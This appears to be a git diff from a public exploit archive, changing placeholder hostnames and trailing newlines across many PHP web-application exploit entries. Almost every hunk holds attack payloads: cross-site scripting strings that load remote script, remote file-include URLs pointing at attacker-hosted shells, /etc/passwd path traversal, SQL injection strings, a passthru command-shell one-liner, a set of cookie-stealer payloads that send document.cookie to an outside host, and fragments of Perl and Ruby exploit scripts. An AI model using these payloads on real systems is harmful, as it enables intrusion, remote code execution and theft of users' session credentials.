newline at end of file +http://www.example.com/v3chat/mail/index.php?action=read&mid=62&id=1<IMG%20"""><SCRIPT%20SRC=http://youfucktard.com/xss.js></SCRIPT>"> \ No newline at end of file diff --git a/platforms/php/webapps/28069.txt b/platforms/php/webapps/28069.txt index c30d1f283..fc3097094 100755 --- a/platforms/php/webapps/28069.txt +++ b/platforms/php/webapps/28069.txt @@ -6,4 +6,4 @@ An attacker may leverage these issues to have arbitrary script code execute in t A successful exploit could also allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database implementation. -http://www.example.com/v3chat/mail/reply.php?&recipientname=Scorpio&mid=62&id=1<IMG%20"""><SCRIPT%20SRC=http://youfucktard.com/xss.js></SCRIPT>"> \ No newline at end of file +http://www.example.com/v3chat/mail/reply.php?&recipientname=Scorpio&mid=62&id=1<IMG%20"""><SCRIPT%20SRC=http://youfucktard.com/xss.js></SCRIPT>"> \ No newline at end of file diff --git a/platforms/php/webapps/2807.pl b/platforms/php/webapps/2807.pl index 105511724..210e11d9e 100755 --- a/platforms/php/webapps/2807.pl +++ b/platforms/php/webapps/2807.pl @@ -11,7 +11,7 @@ # Kullanimi # perl cra.pl <target> <cmd shell location> <cmd shell variable> # -# perl cra http://server/ http://server/cmd.txt cmd +# perl cra http://site.com/ http://site.com/cmd.txt cmd # # cmd shell example: <?passthru($_GET[cmd]);?> # @@ -76,7 +76,7 @@ sub usage() { head(); print " Usage: perl cra <target> <cmd shell location> <cmd shell variable>\r\n\n"; - print " <Site> - Full path to example: http://www.server/ \r\n"; + print " <Site> - Full path to example: http://www.site.com/ \r\n"; print " <cmd shell> - Path to cmd Shell e.g http://sibersavascilar.com/rst.txt? \r\n"; print " <cmd variable> - Command variable used in php shell \r\n"; print "============================================================================\r\n"; diff --git a/platforms/php/webapps/28070.txt b/platforms/php/webapps/28070.txt index 2ce49f18c..668065d86 100755 --- a/platforms/php/webapps/28070.txt +++ b/platforms/php/webapps/28070.txt @@ -6,4 +6,4 @@ An attacker may leverage these issues to have arbitrary script code execute in t A successful exploit could also allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database implementation. -http://www.example.com/messenger/online.php?action=update&membername=luny666&site_id=<IMG%20"""><SCRIPT%20SRC=http://youfucktard.com/xss.js></ SCRIPT>"> \ No newline at end of file +http://www.example.com/messenger/online.php?action=update&membername=luny666&site_id=<IMG%20"""><SCRIPT%20SRC=http://youfucktard.com/xss.js></ SCRIPT>"> \ No newline at end of file diff --git a/platforms/php/webapps/28072.txt b/platforms/php/webapps/28072.txt index a3726eb6e..788d357c1 100755 --- a/platforms/php/webapps/28072.txt +++ b/platforms/php/webapps/28072.txt @@ -6,4 +6,4 @@ An attacker may leverage these issues to have arbitrary script code execute in t A successful exploit could also allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database implementation. -http://www.example.com/messenger/profile.php?new_reg=1&site_id=<IMG%20"""><SCRIPT%20SRC=http://youfucktard.com/xss.js></SCRIPT>"> \ No newline at end of file +http://www.example.com/messenger/profile.php?new_reg=1&site_id=<IMG%20"""><SCRIPT%20SRC=http://youfucktard.com/xss.js></SCRIPT>"> \ No newline at end of file diff --git a/platforms/php/webapps/28075.txt b/platforms/php/webapps/28075.txt index 1fcade749..ad80a2ec9 100755 --- a/platforms/php/webapps/28075.txt +++ b/platforms/php/webapps/28075.txt @@ -6,4 +6,4 @@ An attacker may leverage these issues to have arbitrary script code execute in t A successful exploit could also allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database implementation. -http://example.com/messenger/mycontacts.php?membername=putausername \ No newline at end of file +http://example.com/messenger/mycontacts.php?membername=putausername \ No newline at end of file diff --git a/platforms/php/webapps/2808.txt b/platforms/php/webapps/2808.txt index 51fba7393..b1c9377da 100755 --- a/platforms/php/webapps/2808.txt +++ b/platforms/php/webapps/2808.txt @@ -25,7 +25,7 @@ include_once($dicshunary_root_path.'common.inc'); - Exploit: - http://[target]/[path]/check_status.php?dicshunary_root_path=http://evilserver/shell? + http://[target]/[path]/check_status.php?dicshunary_root_path=http://evilsite.com/shell? -------------------------------------------------------------------------------------------- diff --git a/platforms/php/webapps/2811.txt b/platforms/php/webapps/2811.txt index 03134e10c..42401eac5 100755 --- a/platforms/php/webapps/2811.txt +++ b/platforms/php/webapps/2811.txt @@ -20,7 +20,7 @@ + -> 289: if ($editor_insert_bottom<>"") include($editor_insert_bottom); + + Proof Of Concept: -+ http://[target]/[path]/core/editor.php?editor_insert_bottom=http://evilserver/shell.php ++ http://[target]/[path]/core/editor.php?editor_insert_bottom=http://evilsite.com/shell.php +------------------------------------------------------------------------------------------- # milw0rm.com [2006-11-18] diff --git a/platforms/php/webapps/28119.txt b/platforms/php/webapps/28119.txt index 3e2be1415..90a597f5f 100755 --- a/platforms/php/webapps/28119.txt +++ b/platforms/php/webapps/28119.txt @@ -4,4 +4,4 @@ VCard PRO is prone to multiple SQL-injection vulnerabilities. These issues are d A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database implementation. -http://www.example.com/gbrowse.php?cat_id=[SQL] \ No newline at end of file +http://www.example.com/gbrowse.php?cat_id=[SQL] \ No newline at end of file diff --git a/platforms/php/webapps/28124.pl b/platforms/php/webapps/28124.pl index 3cbf51b52..59eaafce7 100755 --- a/platforms/php/webapps/28124.pl +++ b/platforms/php/webapps/28124.pl @@ -19,7 +19,7 @@ This issue affects version 1.0.1 Final; other versions may also be vulnerable. # # .$ind = $ibforums->input['ind']; if ($ind) # . -# . http://www.server/index.php?ind=../../../../../../../../../../../../etc/passwd%00 +# . http://www.site.com/index.php?ind=../../../../../../../../../../../../etc/passwd%00 # # Join with us to Get Prvi8 Exploit # Priv8 Priv8 Priv8 Priv8 diff --git a/platforms/php/webapps/28126.rb b/platforms/php/webapps/28126.rb index 050b3c8ff..84659215b 100755 --- a/platforms/php/webapps/28126.rb +++ b/platforms/php/webapps/28126.rb @@ -30,7 +30,7 @@ print " require 'net/http' block = "################################################################" print ""+ block +"" -print "\nEnter Target Name (server)->" +print "\nEnter Target Name (site.com)->" host=gets.chomp print ""+ block +"" print "\nEnter Script Path (/wbb/ or /)->" @@ -107,4 +107,4 @@ dir = "flvideo.php?action=search&for=cat&value=999999.9/**/+union/**/+all/*"+ " rescue print "\nExploit Failed" -end \ No newline at end of file +end \ No newline at end of file diff --git a/platforms/php/webapps/28139.txt b/platforms/php/webapps/28139.txt index 3deae335d..88c29a795 100755 --- a/platforms/php/webapps/28139.txt +++ b/platforms/php/webapps/28139.txt @@ -8,3 +8,4 @@ GET http://www.example.com:80/gen_confirm_mem.php HTTP/1.0 Accept: */* Host: www.example.com Cookie: PHPSESSID="><script>alert(/Ellipsis+Security+Test/)</script> + \ No newline at end of file diff --git a/platforms/php/webapps/2817.txt b/platforms/php/webapps/2817.txt index 177594c66..9ae7d8fb4 100755 --- a/platforms/php/webapps/2817.txt +++ b/platforms/php/webapps/2817.txt @@ -27,7 +27,7 @@ include "$path/_db.php"; adminsessionCheck(); -Expl: http://www.server/PhotoCart/adminprint.php?admin_folder=[evil_scripts] - http://www.server/PhotoCart/adminprint.php?path=[evil_scripts] +Expl: http://www.site.com/PhotoCart/adminprint.php?admin_folder=[evil_scripts] + http://www.site.com/PhotoCart/adminprint.php?path=[evil_scripts] # milw0rm.com [2006-11-21] diff --git a/platforms/php/webapps/2818.txt b/platforms/php/webapps/2818.txt index 272517531..9e7059381 100755 --- a/platforms/php/webapps/2818.txt +++ b/platforms/php/webapps/2818.txt @@ -11,7 +11,7 @@ # usage:perl delta.pl <target> <cmd shell location> <cmd shell variable> # # -# perl delta.pl http://[target]/[path]/src http://server/cmd.txt cmd +# perl delta.pl http://[target]/[path]/src http://site.com/cmd.txt cmd # # cmd shell example: <?passthru($_GET[cmd]);?> # diff --git a/platforms/php/webapps/28211.txt b/platforms/php/webapps/28211.txt index 3e8b7e1de..85f8405de 100755 --- a/platforms/php/webapps/28211.txt +++ b/platforms/php/webapps/28211.txt @@ -7,4 +7,4 @@ An attacker may leverage these issues to have arbitrary script code execute in t These issues affect version 1.6; other versions may also be vulnerable. http://www.example.com/lazarusgb/lang/codes-english.php?show=%3C/title%3E[XSS] -http://www.example.com/lazarusgb/lang/codes-english.php?show=%3C/title%3E<script>alert(document.cookie);</script> \ No newline at end of file +http://www.example.com/lazarusgb/lang/codes-english.php?show=%3C/title%3E<script>alert(document.cookie);</script> \ No newline at end of file diff --git a/platforms/php/webapps/2823.txt b/platforms/php/webapps/2823.txt index 57f2789ac..d30e25710 100755 --- a/platforms/php/webapps/2823.txt +++ b/platforms/php/webapps/2823.txt @@ -5,7 +5,7 @@ bug:local file include global risk : high -http://server/abitwhizzy.php?f=../../../../../../../etc/passwd +http://site.com/abitwhizzy.php?f=../../../../../../../etc/passwd laurent gaffié & benjamin mossé diff --git a/platforms/php/webapps/28262.txt b/platforms/php/webapps/28262.txt index f683b5142..e989672af 100755 --- a/platforms/php/webapps/28262.txt +++ b/platforms/php/webapps/28262.txt @@ -6,4 +6,4 @@ A successful attack could allow an attacker to compromise the application, acces This issue affects version 2.3.4; earlier versions may also be vulnerable. -http://server/?action=viewgallery&type=album&aid=&page=-1[SQL] \ No newline at end of file +http://www.target.com/?action=viewgallery&type=album&aid=&page=-1[SQL] \ No newline at end of file diff --git a/platforms/php/webapps/28267.txt b/platforms/php/webapps/28267.txt index c66bcad86..e3ace4b54 100755 --- a/platforms/php/webapps/28267.txt +++ b/platforms/php/webapps/28267.txt @@ -8,4 +8,4 @@ http://www.example.com/linkscaffe/links.php?cat=1&offset=[SQL] http://www.example.com/linkscaffe/links.php?cat=1&limit=[SQL] http://www.example.com/linkscaffe/links.php?action=new&newdays=[SQL] http://www.example.com/linkscaffe/links.php?action=deadlink&link_id=[SQL] -http://www.example.com/linkscaffe/links.php?action=new&newdays=-1+UNION+SELECT+123456/* \ No newline at end of file +http://www.example.com/linkscaffe/links.php?action=new&newdays=-1+UNION+SELECT+123456/* \ No newline at end of file diff --git a/platforms/php/webapps/28270.txt b/platforms/php/webapps/28270.txt index 1b2cd9ead..a9a52b2b0 100755 --- a/platforms/php/webapps/28270.txt +++ b/platforms/php/webapps/28270.txt @@ -10,4 +10,4 @@ http://www.example.com/linkscaffe/menu.inc.php?menucolor='%3E[XSS] http://www.example.com/linkscaffe/menu.inc.php?textcolor='%3E[XSS] -http://www.example.com/linkscaffe/menu.inc.php?bodycolor='%3E[XSS] \ No newline at end of file +http://www.example.com/linkscaffe/menu.inc.php?bodycolor='%3E[XSS] \ No newline at end of file diff --git a/platforms/php/webapps/28294.txt b/platforms/php/webapps/28294.txt index 71f74b2b2..1375ade66 100755 --- a/platforms/php/webapps/28294.txt +++ b/platforms/php/webapps/28294.txt @@ -4,4 +4,4 @@ PHPNuke INP is prone to a cross-site scripting vulnerability that affects the 'm The specific version affected is currently unknown. -http://www.example.com/[path]/modules.php?name=Downloads&op=search&query=><script>alert('ARIA')</script>< \ No newline at end of file +http://www.example.com/[path]/modules.php?name=Downloads&op=search&query=><script>alert('ARIA')</script>< \ No newline at end of file diff --git a/platforms/php/webapps/28305.txt b/platforms/php/webapps/28305.txt index 939527cc1..1669cb7e5 100755 --- a/platforms/php/webapps/28305.txt +++ b/platforms/php/webapps/28305.txt @@ -8,4 +8,4 @@ The attacker may also leverage the cross-site scripting issue to execute arbitra These issues affect AJAX Chat 0.1; other versions may also be vulnerable. -http://server/includes/operator_chattranscript.php?chatid=../../../../../../etc/passwd%00 \ No newline at end of file +http://www.server.com/includes/operator_chattranscript.php?chatid=../../../../../../etc/passwd%00 \ No newline at end of file diff --git a/platforms/php/webapps/28306.txt b/platforms/php/webapps/28306.txt index 1a3b3508e..d934d763e 100755 --- a/platforms/php/webapps/28306.txt +++ b/platforms/php/webapps/28306.txt @@ -8,4 +8,4 @@ An attacker may also leverage the remote file-include issue to include an arbitr Version 2.1 of the application is affected by these vulnerabilities; other versions may also be affected. -http://www.example.com/signup.php?signup=1&user_pw=2&passwordconfirm=2&user_name=3&name=3&email=3&site_url=3&site_name='[SQL]/ \ No newline at end of file +http://www.example.com/signup.php?signup=1&user_pw=2&passwordconfirm=2&user_name=3&name=3&email=3&site_url=3&site_name='[SQL]/ \ No newline at end of file diff --git a/platforms/php/webapps/2831.txt b/platforms/php/webapps/2831.txt index fe6a6167c..50efb92e8 100755 --- a/platforms/php/webapps/2831.txt +++ b/platforms/php/webapps/2831.txt @@ -55,7 +55,7 @@ resources. Proof Of Concept: ~~~~~~~~~~~~~~~ -http://server/[a-conman_path]/php.incs/common.inc.php?cm_basedir=http://attacker.com/inject.txt? +http://target.com/[a-conman_path]/php.incs/common.inc.php?cm_basedir=http://attacker.com/inject.txt? Solution: diff --git a/platforms/php/webapps/28324.txt b/platforms/php/webapps/28324.txt index 76fc28531..67656e941 100755 --- a/platforms/php/webapps/28324.txt +++ b/platforms/php/webapps/28324.txt @@ -13,12 +13,12 @@ UPDATE (June 14, 2007): Reports indicate that Blackboard Academic Suite - Vista Defacement (FrameBuster) ------------------------- <meta http-equiv="refresh" -content="15;url= http://evilserver"> +content="15;url= http://evilsite.com"> Defacement (FrameBuster) ------------------------- -<iframe src=" http://evilserver" width=100 +<iframe src=" http://evilsite.com" width=100 height=100></iframe> @@ -37,7 +37,7 @@ Cookie Stealer (IE ONLY) ------------------------- <img -src="vbscript:wintest=window.open(%22http://evilserver + document.cookie)"style=visibility:hidden/> +src="vbscript:wintest=window.open(%22http://evilsite.com + document.cookie)"style=visibility:hidden/> <img src="vbscript:window.focus ()"style=visibility:hidden/> <img src="vbscript: window.close()"style=visibility:hidden/> @@ -45,41 +45,41 @@ src="vbscript:wintest=window.open(%22http://evilserver + document.cookie)"style= Cookie Stealer (IE ONLY) ------------------------- <link rel="stylesheet" -href="vbscript:wintest=window.open(%22http://evilserver+document.cookie)"> +href="vbscript:wintest=window.open(%22http://evilsite.com+document.cookie)"> Cookie Stealer (Encoded Tab - IE ONLY) ------------------------- <img -src="jav&#x09;ascript: document.images[1].src=%22http://evilserver+document.cookie;"<img src="jav -ascript:document.images[1].src=%22http://evilserver+document.cookie;"style=visibility:hidden/> +src="jav&#x09;ascript: document.images[1].src=%22http://evilsite.com+document.cookie;"<img src="jav +ascript:document.images[1].src=%22http://evilsite.com+document.cookie;"style=visibility:hidden/> Cookie Stealer (html encoded - IE ONLY) ------------------------- <img src=&#039;&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;document.images[1].s -rc=" http://evilserver"+document.cookie;&#039;<img +rc=" http://evilsite.com"+document.cookie;&#039;<img src="jav -ascript:document.images[1].src=%22http://evilserver+document.cookie;"style=visibility:hidden/> +ascript:document.images[1].src=%22http://evilsite.com+document.cookie;"style=visibility:hidden/> Cookie Stealer (tabs - IE ONLY) ------------------------- <img src="jav -ascript:document.images[1].src=%22http://evilserver+document.cookie;"style=visibility:hidden/> +ascript:document.images[1].src=%22http://evilsite.com+document.cookie;"style=visibility:hidden/> Cookie Stealer (body tag with tabs - IE ONLY) ------------------------- <body background="jav -ascript:document.images[1].src=%22http://evilserver+document.cookie;"> +ascript:document.images[1].src=%22http://evilsite.com+document.cookie;"> Cookie Stealer (div tag with tabs - IE ONLY) ------------------------- <div style="background-image: url(jav -ascript:document.images[1].src=%22http://evilserver+document.cookie;)"> +ascript:document.images[1].src=%22http://evilsite.com+document.cookie;)"> Cookie Stealer (firefox) diff --git a/platforms/php/webapps/28359.txt b/platforms/php/webapps/28359.txt index 153bc62cd..108a370b7 100755 --- a/platforms/php/webapps/28359.txt +++ b/platforms/php/webapps/28359.txt @@ -6,4 +6,4 @@ An attacker can exploit this issue to include arbitrary remote files containing Version 1.1 is vulnerable to this issue; other versions may also be affected. -http://server/[phpPrintAnalyzer]/index.php?rep_par_rapport_racine=http://www.example.com \ No newline at end of file +http://www.target.com/[phpPrintAnalyzer]/index.php?rep_par_rapport_racine=http://www.example.com \ No newline at end of file diff --git a/platforms/php/webapps/28362.txt b/platforms/php/webapps/28362.txt index 7b5bb1f3d..8c1686dfc 100755 --- a/platforms/php/webapps/28362.txt +++ b/platforms/php/webapps/28362.txt @@ -7,4 +7,4 @@ Version 1.0 of Simple one-file guestbook is vulnerable. Other versions may be af #Simple One-File Guestbook Adminstrator Credential Bypass #Proof of Concept URL -http://www.example.com/[path]/guestbook.php?id=4 \ No newline at end of file +http://www.example.com/[path]/guestbook.php?id=4 \ No newline at end of file diff --git a/platforms/php/webapps/28379.txt b/platforms/php/webapps/28379.txt index e24140274..1fbfda738 100755 --- a/platforms/php/webapps/28379.txt +++ b/platforms/php/webapps/28379.txt @@ -11,4 +11,4 @@ Version 1.3e is reported vulnerable; other versions may also be affected. + PoC: + + http://www.example.com/install/install3.php?database=none&cabsolute_path=[script] -+ \ No newline at end of file ++ \ No newline at end of file diff --git a/platforms/php/webapps/2839.txt b/platforms/php/webapps/2839.txt index 335230b28..5b72776fb 100755 --- a/platforms/php/webapps/2839.txt +++ b/platforms/php/webapps/2839.txt @@ -23,7 +23,7 @@ require_once "$OWLLIB_ROOT/memory/OWLMemoryClass.php"; - Exploit: - http://[target]/[path]/owllib/memory/OWLMemoryProperty.php?OWLLIB_ROOT=http://evilserver/shell? + http://[target]/[path]/owllib/memory/OWLMemoryProperty.php?OWLLIB_ROOT=http://evilsite.com/shell? *********************** I LOVE YOU G.Malake diff --git a/platforms/php/webapps/2840.txt b/platforms/php/webapps/2840.txt index c88ce2ef8..a03a812e5 100755 --- a/platforms/php/webapps/2840.txt +++ b/platforms/php/webapps/2840.txt @@ -22,7 +22,7 @@ include_once("$abs_url/display.php"); - Exploit: - http://[target]/[path]/Index.php?abs_url=http://evilserver/shell? + http://[target]/[path]/Index.php?abs_url=http://evilsite.com/shell? *********************** I LOVE YOU G.Malake diff --git a/platforms/php/webapps/28402.txt b/platforms/php/webapps/28402.txt index 76b3d4f22..661598ca5 100755 --- a/platforms/php/webapps/28402.txt +++ b/platforms/php/webapps/28402.txt @@ -6,4 +6,4 @@ An attacker can exploit these issues to include an arbitrary remote file contain Version 4.1.0 is vulnerable; other versions may also be affected. -http://www.example.com/dir_blogccms/index.php?DIR_PLUGINS=http://evalserver/shell.php? http://www.example.com/dir_blogccms/admin/media.php?DIR_PLUGINS=http://evalserver/shell.php? http://www.example.com/dir_blogccms/extras/fancyurls/archive.php?DIR_PLUGINS=http://evalserver/shell.php? http://www.example.com/dir_blogccms/extras/fancyurls/archives.php?DIR_PLUGINS=http://evalserver/shell.php? http://www.example.com/dir_blogccms/extras/fancyurls/blog.php?DIR_PLUGINS=http://evalserver/shell.php? \ No newline at end of file +http://www.example.com/dir_blogccms/index.php?DIR_PLUGINS=http://evalsite.com/shell.php? http://www.example.com/dir_blogccms/admin/media.php?DIR_PLUGINS=http://evalsite.com/shell.php? http://www.example.com/dir_blogccms/extras/fancyurls/archive.php?DIR_PLUGINS=http://evalsite.com/shell.php? http://www.example.com/dir_blogccms/extras/fancyurls/archives.php?DIR_PLUGINS=http://evalsite.com/shell.php? http://www.example.com/dir_blogccms/extras/fancyurls/blog.php?DIR_PLUGINS=http://evalsite.com/shell.php? \ No newline at end of file diff --git a/platforms/php/webapps/2844.pl b/platforms/php/webapps/2844.pl index a72f60163..cb2cbc18f 100755 --- a/platforms/php/webapps/2844.pl +++ b/platforms/php/webapps/2844.pl @@ -21,7 +21,7 @@ # status> Searching the backup file # sploit> Administrateur::epolas # status> Downloading database informations -# sploit> Host::sql.myserver +# sploit> Host::sql.mysite.com # sploit> Database::cahier_de_texte # sploit> Username::root # sploit> Password::toor diff --git a/platforms/php/webapps/28447.php b/platforms/php/webapps/28447.php index f9535b688..7e220b4bb 100755 --- a/platforms/php/webapps/28447.php +++ b/platforms/php/webapps/28447.php @@ -202,4 +202,4 @@ HTTP/1.1\r\n"; } -?> \ No newline at end of file +?> \ No newline at end of file diff --git a/platforms/php/webapps/28453.txt b/platforms/php/webapps/28453.txt index c7fd8395c..f044f168e 100755 --- a/platforms/php/webapps/28453.txt +++ b/platforms/php/webapps/28453.txt @@ -4,4 +4,4 @@ ezContents is prone to multiple remote file-include vulnerabilities because the An attacker can exploit these issues to include an arbitrary remote file containing malicious PHP code and execute it in the context of the webserver process. This may help the attacker compromise the application and the underlying system; other attacks are also possible. -http://www.example.com/modules/diary/event_list.php?GLOBALS[rootdp]=&GLOBALS[admin_home]=ftps://evil.com/sh.php&cmd=ls \ No newline at end of file +http://www.example.com/modules/diary/event_list.php?GLOBALS[rootdp]=&GLOBALS[admin_home]=ftps://evil.com/sh.php&cmd=ls \ No newline at end of file diff --git a/platforms/php/webapps/28454.txt b/platforms/php/webapps/28454.txt index 86c645d5a..34f5a9af3 100755 --- a/platforms/php/webapps/28454.txt +++ b/platforms/php/webapps/28454.txt @@ -4,4 +4,4 @@ ezContents is prone to multiple remote file-include vulnerabilities because the An attacker can exploit these issues to include an arbitrary remote file containing malicious PHP code and execute it in the context of the webserver process. This may help the attacker compromise the application and the underlying system; other attacks are also possible. -http://www.example.com/modules/calendar/calendar.php?GLOBALS[rootdp]=&GLOBALS[language_home]=ftps://evil.com/sh.php&cmd=ls \ No newline at end of file +http://www.example.com/modules/calendar/calendar.php?GLOBALS[rootdp]=&GLOBALS[language_home]=ftps://evil.com/sh.php&cmd=ls \ No newline at end of file diff --git a/platforms/php/webapps/28455.txt b/platforms/php/webapps/28455.txt index 8098e8960..4fe3046ab 100755 --- a/platforms/php/webapps/28455.txt +++ b/platforms/php/webapps/28455.txt @@ -4,4 +4,4 @@ ezContents is prone to multiple remote file-include vulnerabilities because the An attacker can exploit these issues to include an arbitrary remote file containing malicious PHP code and execute it in the context of the webserver process. This may help the attacker compromise the application and the underlying system; other attacks are also possible. -http://www.example.com/modules/gallery/gallery_summary.php?GLOBALS[rootdp]=&GLOBALS[admin_home]=ftps://evil.com/sh.php&cmd=ls \ No newline at end of file +http://www.example.com/modules/gallery/gallery_summary.php?GLOBALS[rootdp]=&GLOBALS[admin_home]=ftps://evil.com/sh.php&cmd=ls \ No newline at end of file diff --git a/platforms/php/webapps/28456.txt b/platforms/php/webapps/28456.txt index 7996b3061..5e2afe8d4 100755 --- a/platforms/php/webapps/28456.txt +++ b/platforms/php/webapps/28456.txt @@ -4,4 +4,4 @@ ezContents is prone to multiple remote file-include vulnerabilities because the An attacker can exploit these issues to include an arbitrary remote file containing malicious PHP code and execute it in the context of the webserver process. This may help the attacker compromise the application and the underlying system; other attacks are also possible. -http://www.example.com/modules/guestbook/showguestbook.php?GLOBALS[rootdp]=&GLOBALS[admin_home]=ftps://evil.com/sh.php&cmd=ls \ No newline at end of file +http://www.example.com/modules/guestbook/showguestbook.php?GLOBALS[rootdp]=&GLOBALS[admin_home]=ftps://evil.com/sh.php&cmd=ls \ No newline at end of file diff --git a/platforms/php/webapps/28458.txt b/platforms/php/webapps/28458.txt index ad95870aa..f8ca0880d 100755 --- a/platforms/php/webapps/28458.txt +++ b/platforms/php/webapps/28458.txt @@ -4,4 +4,4 @@ ezContents is prone to multiple remote file-include vulnerabilities because the An attacker can exploit these issues to include an arbitrary remote file containing malicious PHP code and execute it in the context of the webserver process. This may help the attacker compromise the application and the underlying system; other attacks are also possible. -http://www.example.com/modules/news/shownews.php?GLOBALS[rootdp]=&GLOBALS[language_home]=ftps://evil.com/sh.php&cmd=ls \ No newline at end of file +http://www.example.com/modules/news/shownews.php?GLOBALS[rootdp]=&GLOBALS[language_home]=ftps://evil.com/sh.php&cmd=ls \ No newline at end of file diff --git a/platforms/php/webapps/28460.txt b/platforms/php/webapps/28460.txt index e2f75c5d8..804d3b68d 100755 --- a/platforms/php/webapps/28460.txt +++ b/platforms/php/webapps/28460.txt @@ -4,4 +4,4 @@ ezContents is prone to multiple remote file-include vulnerabilities because the An attacker can exploit these issues to include an arbitrary remote file containing malicious PHP code and execute it in the context of the webserver process. This may help the attacker compromise the application and the underlying system; other attacks are also possible. -http://www.example.com/modules/reviews/review_summary.php?GLOBALS[rootdp]=&GLOBALS[admin_home]=ftps://evil.com/sh.php&cmd=ls \ No newline at end of file +http://www.example.com/modules/reviews/review_summary.php?GLOBALS[rootdp]=&GLOBALS[admin_home]=ftps://evil.com/sh.php&cmd=ls \ No newline at end of file diff --git a/platforms/php/webapps/28488.php b/platforms/php/webapps/28488.php index 54e1ba951..bd3120ee2 100755 --- a/platforms/php/webapps/28488.php +++ b/platforms/php/webapps/28488.php @@ -65,7 +65,7 @@ this works against register_globals=On and magic quotes = off ex: -http://www.server/[Proxima_path]/modules/Forums/bb_smilies.php?name=../../../../../../etc/passwd%00 +http://www.site.com/[Proxima_path]/modules/Forums/bb_smilies.php?name=../../../../../../etc/passwd%00 "; print $devilteam; if ($argc<4) { diff --git a/platforms/php/webapps/28497.txt b/platforms/php/webapps/28497.txt index 67dc6301d..e0a046fe0 100755 --- a/platforms/php/webapps/28497.txt +++ b/platforms/php/webapps/28497.txt @@ -6,4 +6,4 @@ Exploiting this issue could allow an attacker to steal cookie-based authenticati Version 0.1b is vulnerable; other versions may also be affected. -http://www.example.com/help.php?act=[XSS] \ No newline at end of file +http://www.example.com/help.php?act=[XSS] \ No newline at end of file diff --git a/platforms/php/webapps/2850.txt b/platforms/php/webapps/2850.txt index 1a2f05ce3..9743f6a3e 100755 --- a/platforms/php/webapps/2850.txt +++ b/platforms/php/webapps/2850.txt @@ -20,7 +20,7 @@ $$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$ Expl: -http://www.server/[ee_path]/styles.php?toroot=[evil_scripts] +http://www.site.com/[ee_path]/styles.php?toroot=[evil_scripts] #Pozdro dla wszystkich ;-) diff --git a/platforms/php/webapps/28582.txt b/platforms/php/webapps/28582.txt index 9a06fed97..fdd848a4e 100755 --- a/platforms/php/webapps/28582.txt +++ b/platforms/php/webapps/28582.txt @@ -5,4 +5,4 @@ Jupiter CMSA is prone to multiple input-validation vulnerabilities, including cr A successful exploit of these vulnerabilities could allow an attacker to compromise the application, access or modify data, steal cookie-based authentication credentials, exploit vulnerabilities in the underlying database implementation, or upload and execute arbitrary files within the webserver process. Other attacks are also possible. http://www.example.com/modules/blocks.php?is_webmaster=2&language[Admin%20name]=<script>alert(document.cookie);</script> -http://www.example.com/modules/blocks.php?is_webmaster=2&language[Admin%20back]=<script>alert(document.cookie);</script> \ No newline at end of file +http://www.example.com/modules/blocks.php?is_webmaster=2&language[Admin%20back]=<script>alert(document.cookie);</script> \ No newline at end of file diff --git a/platforms/php/webapps/28584.txt b/platforms/php/webapps/28584.txt index be285d81f..7c8e4d671 100755 --- a/platforms/php/webapps/28584.txt +++ b/platforms/php/webapps/28584.txt @@ -6,4 +6,4 @@ A successful exploit of these vulnerabilities could allow an attacker to comprom http://www.example.com/modules/mass-email.php?language[Mass-Email%20form%20title]=<script>alert(document.cookie);</script> http://www.example.com/modules/mass-email.php?language[Mass-Email%20form%20desc]=<script>alert(document.cookie);</script> -http://www.example.com/modules/mass-email.php?language[Mass-Email%20form%20desc2]=<script>alert(document.cookie);</script> \ No newline at end of file +http://www.example.com/modules/mass-email.php?language[Mass-Email%20form%20desc2]=<script>alert(document.cookie);</script> \ No newline at end of file diff --git a/platforms/php/webapps/28617.txt b/platforms/php/webapps/28617.txt index abf1acafa..d62974b4a 100755 --- a/platforms/php/webapps/28617.txt +++ b/platforms/php/webapps/28617.txt @@ -6,4 +6,4 @@ These issues may allow an attacker to access sensitive information, execute arbi Version 1.1.0 is vulnerable; other versions may also be affected. -http://www.example.com/adminpanel/includes/helpfiles/help_news.php?the_band=<script>alert(document.cookie);</script> \ No newline at end of file +http://www.example.com/adminpanel/includes/helpfiles/help_news.php?the_band=<script>alert(document.cookie);</script> \ No newline at end of file diff --git a/platforms/php/webapps/28619.txt b/platforms/php/webapps/28619.txt index de2666a88..df9acccf9 100755 --- a/platforms/php/webapps/28619.txt +++ b/platforms/php/webapps/28619.txt @@ -6,4 +6,4 @@ These issues may allow an attacker to access sensitive information, execute arbi Version 1.1.0 is vulnerable; other versions may also be affected. -http://www.example.com/adminpanel/includes/helpfiles/help_mp3.php?max_file_size_purdy=<script>alert(document.cookie);</script> \ No newline at end of file +http://www.example.com/adminpanel/includes/helpfiles/help_mp3.php?max_file_size_purdy=<script>alert(document.cookie);</script> \ No newline at end of file diff --git a/platforms/php/webapps/28624.txt b/platforms/php/webapps/28624.txt index df443f366..41fe210b7 100755 --- a/platforms/php/webapps/28624.txt +++ b/platforms/php/webapps/28624.txt @@ -6,4 +6,4 @@ These issues may allow an attacker to access sensitive information, execute arbi Version 1.1.0 is vulnerable; other versions may also be affected. -http://www.example.com/includes/content/gbook_content.php?the_band=<script>alert(document.cookie);</script> \ No newline at end of file +http://www.example.com/includes/content/gbook_content.php?the_band=<script>alert(document.cookie);</script> \ No newline at end of file diff --git a/platforms/php/webapps/28629.txt b/platforms/php/webapps/28629.txt index 92edc7584..f6d3fd12b 100755 --- a/platforms/php/webapps/28629.txt +++ b/platforms/php/webapps/28629.txt @@ -6,4 +6,4 @@ These issues may allow an attacker to access sensitive information, execute arbi Version 1.1.0 is vulnerable; other versions may also be affected. -http://www.example.com/includes/content/merch_content.php?the_band=<script>alert(document.cookie);</script> \ No newline at end of file +http://www.example.com/includes/content/merch_content.php?the_band=<script>alert(document.cookie);</script> \ No newline at end of file diff --git a/platforms/php/webapps/28634.txt b/platforms/php/webapps/28634.txt index 6c5810b3d..4c8070833 100755 --- a/platforms/php/webapps/28634.txt +++ b/platforms/php/webapps/28634.txt @@ -6,4 +6,4 @@ These issues may allow an attacker to access sensitive information, execute arbi Version 1.1.0 is vulnerable; other versions may also be affected. 